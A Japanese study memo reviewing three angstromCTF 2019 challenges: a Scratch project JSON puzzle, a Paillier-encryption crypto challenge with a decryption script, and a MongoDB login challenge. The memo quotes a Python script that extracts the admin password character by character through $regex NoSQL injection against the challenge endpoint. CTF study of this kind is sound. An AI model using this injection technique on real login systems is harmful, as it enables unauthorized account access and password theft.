【備忘録】angstromctf 復習
//
まえおき
これはWriteUpではないです。他のサイトさんの回答を見て解けなかった問題を自分用に残しておくためのものなので、WriteUpが見たい方はぜひ参考サイトさんの方を見てください!
参考サイト(強く推奨)
Scratch It Out
問題文は" An oddly yellow cat handed me this message - what could it mean?"。渡されるファイルは下のJSON
。
{"targets":[{"isStage":true,"name":"Stage","variables":{"`jEk@4|i[#Fk?(8x)AV.-my variable":["my variable",75]},"lists":{"DDcejh^KamcM{M3I4TYi":["flag",[]]},"broadcasts":{},"blocks":{},"comments":{},"currentCostume":0,"costumes":[{"assetId":"cd21514d0531fdffb22204e0ec5ed84a","name":"backdrop1","md5ext":"cd21514d0531fdffb22204e0ec5ed84a.svg","dataFormat":"svg","rotationCenterX":240,"rotationCenterY":180}],"sounds":[{"assetId":"83a9787d4cb6f3b7632b4ddfebf74367","name":"pop","dataFormat":"wav","format":"","rate":44100,"sampleCount":1032,"md5ext":"83a9787d4cb6f3b7632b4ddfebf74367.wav"}],"volume":100,"layerOrder":0,"tempo":60,"videoTransparency":50,"videoState":"on","textToSpeechLanguage":"en"},{"isStage":false,"name":"Sprite1","variables":{},"lists":{},"broadcasts":{},"blocks":{"gc(F@lT71/)bC%C*u42A":{"opcode":"event_whenflagclicked","next":"~aF,dkw=4%[4h3nmvnRH","parent":null,"inputs":{},"fields":{},"shadow":false,"topLevel":true,"x":-287,"y":-298},"~aF,dkw=4%[4h3nmvnRH":{"opcode":"data_setvariableto","next":"[P%q`Sd5o|}gXimPK}vy","parent":"gc(F@lT71/)bC%C*u42A","inputs":{"VALUE":[1,[10,"0"]]},"fields":{"VARIABLE":["my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"]},"shadow":false,"topLevel":false},"[P%q`Sd5o|}gXimPK}vy":{"opcode":"data_deletealloflist","next":"twa0+.)q|d5h?49P7-Mz","parent":"~aF,dkw=4%[4h3nmvnRH","inputs":{},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"twa0+.)q|d5h?49P7-Mz":{"opcode":"motion_gotoxy","next":"@1CP6EFQh9zU~Qv.L9ke","parent":"[P%q`Sd5o|}gXimPK}vy","inputs":{"X":[1,[4,"3"]],"Y":[1,[4,"25"]]},"fields":{},"shadow":false,"topLevel":false},"@1CP6EFQh9zU~Qv.L9ke":{"opcode":"control_repeat","next":"?ozn?6PSe,|gl[0:CFVq","parent":"twa0+.)q|d5h?49P7-Mz","inputs":{"TIMES":[3,",~-dSb{iI]d0J$_09B]D",[6,"25"]],"SUBSTACK":[2,"1k:%;:yF^JgRY|NRdT87"]},"fields":{},"shadow":false,"topLevel":false},",~-dSb{iI]d0J$_09B]D":{"opcode":"motion_yposition","next":null,"parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{},"fields":{},"shadow":false,"topLevel":false},"1k:%;:yF^JgRY|NRdT87":{"opcode":"data_changevariableby","next":"e*Py.Mc-k?D}w0}je37_","parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{"VALUE":[3,"L,+hwe69wtmUle}htHOm",[4,"3"]]},"fields":{"VARIABLE":["my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"]},"shadow":false,"topLevel":false},"L,+hwe69wtmUle}htHOm":{"opcode":"motion_xposition","next":null,"parent":"1k:%;:yF^JgRY|NRdT87","inputs":{},"fields":{},"shadow":false,"topLevel":false},"e*Py.Mc-k?D}w0}je37_":{"opcode":"data_addtolist","next":null,"parent":"1k:%;:yF^JgRY|NRdT87","inputs":{"ITEM":[3,"*}!hp4?Y2Jb/*u1XSaFe",[10,"thing"]]},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"*}!hp4?Y2Jb/*u1XSaFe":{"opcode":"operator_letter_of","next":null,"parent":"e*Py.Mc-k?D}w0}je37_","inputs":{"LETTER":[3,"etC#5:KlQ~?l[7~:KQr3",[6,"1"]],"STRING":[1,[10,"_La0AcpNtTgf1U{maTaGhL35_"]]},"fields":{},"shadow":false,"topLevel":false},"etC#5:KlQ~?l[7~:KQr3":{"opcode":"operator_mod","next":null,"parent":"*}!hp4?Y2Jb/*u1XSaFe","inputs":{"NUM1":[3,[12,"my variable","`jEk@4|i[#Fk?(8x)AV.-my variable"],[4,""]],"NUM2":[1,[4,"26"]]},"fields":{},"shadow":false,"topLevel":false},"?ozn?6PSe,|gl[0:CFVq":{"opcode":"data_addtolist","next":"9zMs,[qP=FC3I~)M4;0#","parent":"@1CP6EFQh9zU~Qv.L9ke","inputs":{"ITEM":[1,[10,"}"]]},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false},"9zMs,[qP=FC3I~)M4;0#":{"opcode":"control_repeat","next":"tT=b/vs94pwY2_3cWKa#","parent":"?ozn?6PSe,|gl[0:CFVq","inputs":{"TIMES":[1,[6,"10"]],"SUBSTACK":[2,"P+NP2l=R(L$YXA_;R%7]"]},"fields":{},"shadow":false,"topLevel":false},"P+NP2l=R(L$YXA_;R%7]":{"opcode":"motion_turnright","next":"oMnQcqYaNL`X78JGOQ*V","parent":"9zMs,[qP=FC3I~)M4;0#","inputs":{"DEGREES":[1,[4,"15"]]},"fields":{},"shadow":false,"topLevel":false},"oMnQcqYaNL`X78JGOQ*V":{"opcode":"music_playDrumForBeats","next":null,"parent":"P+NP2l=R(L$YXA_;R%7]","inputs":{"DRUM":[3,"Dd1L6Dl@*o}%BVeJP5M:","iA0j60]}2sQRG{ixEOY="],"BEATS":[1,[4,"0.25"]]},"fields":{},"shadow":false,"topLevel":false},"Dd1L6Dl@*o}%BVeJP5M:":{"opcode":"operator_random","next":null,"parent":"oMnQcqYaNL`X78JGOQ*V","inputs":{"FROM":[1,[4,"1"]],"TO":[1,[4,"20"]]},"fields":{},"shadow":false,"topLevel":false},"iA0j60]}2sQRG{ixEOY=":{"opcode":"music_menu_DRUM","next":null,"parent":"oMnQcqYaNL`X78JGOQ*V","inputs":{},"fields":{"DRUM":["1",null]},"shadow":true,"topLevel":false},"tT=b/vs94pwY2_3cWKa#":{"opcode":"looks_say","next":"kaF2HGvYv,t,tiUvnR74","parent":"9zMs,[qP=FC3I~)M4;0#","inputs":{"MESSAGE":[3,[13,"flag","DDcejh^KamcM{M3I4TYi"],[10,"Hello!"]]},"fields":{},"shadow":false,"topLevel":false},"kaF2HGvYv,t,tiUvnR74":{"opcode":"data_deletealloflist","next":null,"parent":"tT=b/vs94pwY2_3cWKa#","inputs":{},"fields":{"LIST":["flag","DDcejh^KamcM{M3I4TYi"]},"shadow":false,"topLevel":false}},"comments":{},"currentCostume":0,"costumes":[{"assetId":"b7853f557e4426412e64bb3da6531a99","name":"costume1","bitmapResolution":1,"md5ext":"b7853f557e4426412e64bb3da6531a99.svg","dataFormat":"svg","rotationCenterX":48,"rotationCenterY":50},{"assetId":"e6ddc55a6ddd9cc9d84fe0b4c21e016f","name":"costume2","bitmapResolution":1,"md5ext":"e6ddc55a6ddd9cc9d84fe0b4c21e016f.svg","dataFormat":"svg","rotationCenterX":46,"rotationCenterY":53}],"sounds":[{"assetId":"83c36d806dc92327b9e7049a565c6bff","name":"Meow","dataFormat":"wav","format":"","rate":44100,"sampleCount":37376,"md5ext":"83c36d806dc92327b9e7049a565c6bff.wav"}],"volume":100,"layerOrder":1,"visible":true,"x":3,"y":25,"size":100,"direction":150,"draggable":false,"rotationStyle":"all around"}],"monitors":[{"id":"DDcejh^KamcM{M3I4TYi","mode":"list","opcode":"data_listcontents","params":{"LIST":"flag"},"spriteName":null,"value":[],"width":191,"height":348,"x":5,"y":5,"visible":false},{"id":"current_year","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"YEAR"},"spriteName":null,"value":2019,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_second","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"SECOND"},"spriteName":null,"value":28,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_dayofweek","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"DAYOFWEEK"},"spriteName":null,"value":1,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"current_minute","mode":"default","opcode":"sensing_current","params":{"CURRENTMENU":"MINUTE"},"spriteName":null,"value":46,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"translate_getViewerLanguage","mode":"default","opcode":"translate_getViewerLanguage","params":{},"spriteName":null,"value":"English","width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true},{"id":"b3x1PAhQzb_;0cK/.q1:_volume","mode":"default","opcode":"sound_volume","params":{},"spriteName":"Sprite1","value":100,"width":0,"height":0,"x":5,"y":5,"visible":false,"sliderMin":0,"sliderMax":100,"isDiscrete":true}],"extensions":["music"],"meta":{"semver":"3.0.0","vm":"0.2.0-prerelease.20190321151527","agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Safari/605.1.15"}}
どうやらScratch
という子供向けのブログラミング言語のプロジェクトファイルっぽいものだそうです。拡張子を.sb3
に変更し、このページで読み込むと、プロジェクトが読み込まれました。
No Sequels 2
No Sequels
という問題の続きで、admin
でログインはできましたが、パスワードを入れてねと言われるので、パスワードを調べようという問題。下のコードが渡されます。
router.post('/site', verifyJwt, function (req, res) { // req.user is assigned from verifyJwt if (!req.user.authenticated || !req.body.pass2) { res.send("bad"); } var query = { username: req.user.name, } var db = req.db; db.collection('users').findOne(query, function (err, user) { console.log(user); if (!user){ res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"}); } var pass = user.password; var message = ""; if (pass === req.body.pass2){ res.render('final'); } else { res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"}); } }); });
対象はMongoDB
で
{ username: "admin", passsword: {"$regex": "^<testing pw goes here>"} }
を使って1文字ずつパスワードを見つけていく手法。$regex
はLIKE
検索のように使えるらしいです。
# こちらより引用してます。https://samcalamos.com.au/2019/04/25/angstrom-2019-no-sequels-2-writeup/ import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" url = "https://nosequels.2019.chall.actf.co/login" cookies = { "token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzI4MjkyfQ.DRgByuPZJc-Ayvmdec5ot2CbjbCe6Bf7ucvI93gc1Wc" } while True: for c in string.printable: if c not in ['*','+','.','?','|']: print("Testing %s" % password+c) payload={ "username": "admin", "password": { "$regex": "^"+password+c } } r = requests.post(url, json = payload, verify = False, cookies=cookies) print(r.text) if "bad" in r.text: print("Found one more char : %s" % (password+c)) password += c break
Runes
下のテキストが渡されます。暗号系ですね。苦手です。ヒントとしてPaillier
が与えられますが、これはPaillier暗号らしいです。
n: 99157116611790833573985267443453374677300242114595736901854871276546481648883 g: 99157116611790833573985267443453374677300242114595736901854871276546481648884 c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
msieve
を使って素因数分解しp,qを導きだします。
$ ./msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883
# こちらのものを引用しています https://kusuwada.hatenablog.com/entry/2019/04/25/155547 #!/usr/bin/env python3 # this code has the following in reference. # https://ykm11.hatenablog.com/entry/2018/10/19/205950 import math n = 99157116611790833573985267443453374677300242114595736901854871276546481648883 g = 99157116611790833573985267443453374677300242114595736901854871276546481648884 c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869 p = 310013024566643256138761337388255591613 q = 319848228152346890121384041219876391791 def egcd(a, b): if a == 0: return (b, 0, 1) else: g1, y, x = egcd(b % a, a) return (g1, x - (b // a) * y, y) def modinv(a, m): g1, x, y = egcd(a, m) if g1 != 1: raise Exception('modular inverse does not exist') else: return x % m def L(u): return (u-1)//n def LMD(p, q): # p and q are respectively prime g = math.gcd(p-1, q-1) return (p-1)*(q-1)//g def dec(c): s = L(pow(c, LMD(p, q), n**2)) t = L(pow(g, LMD(p, q), n**2)) return s * modinv(t, n) % n # main assert p*q == n plain = dec(c) flag = bytes.fromhex(hex(plain)[2:]).decode('ascii') print('flag: ' + flag)
最後に
WriteUpじゃないし他の方のソースもらったりしているので、他のページを見てください、、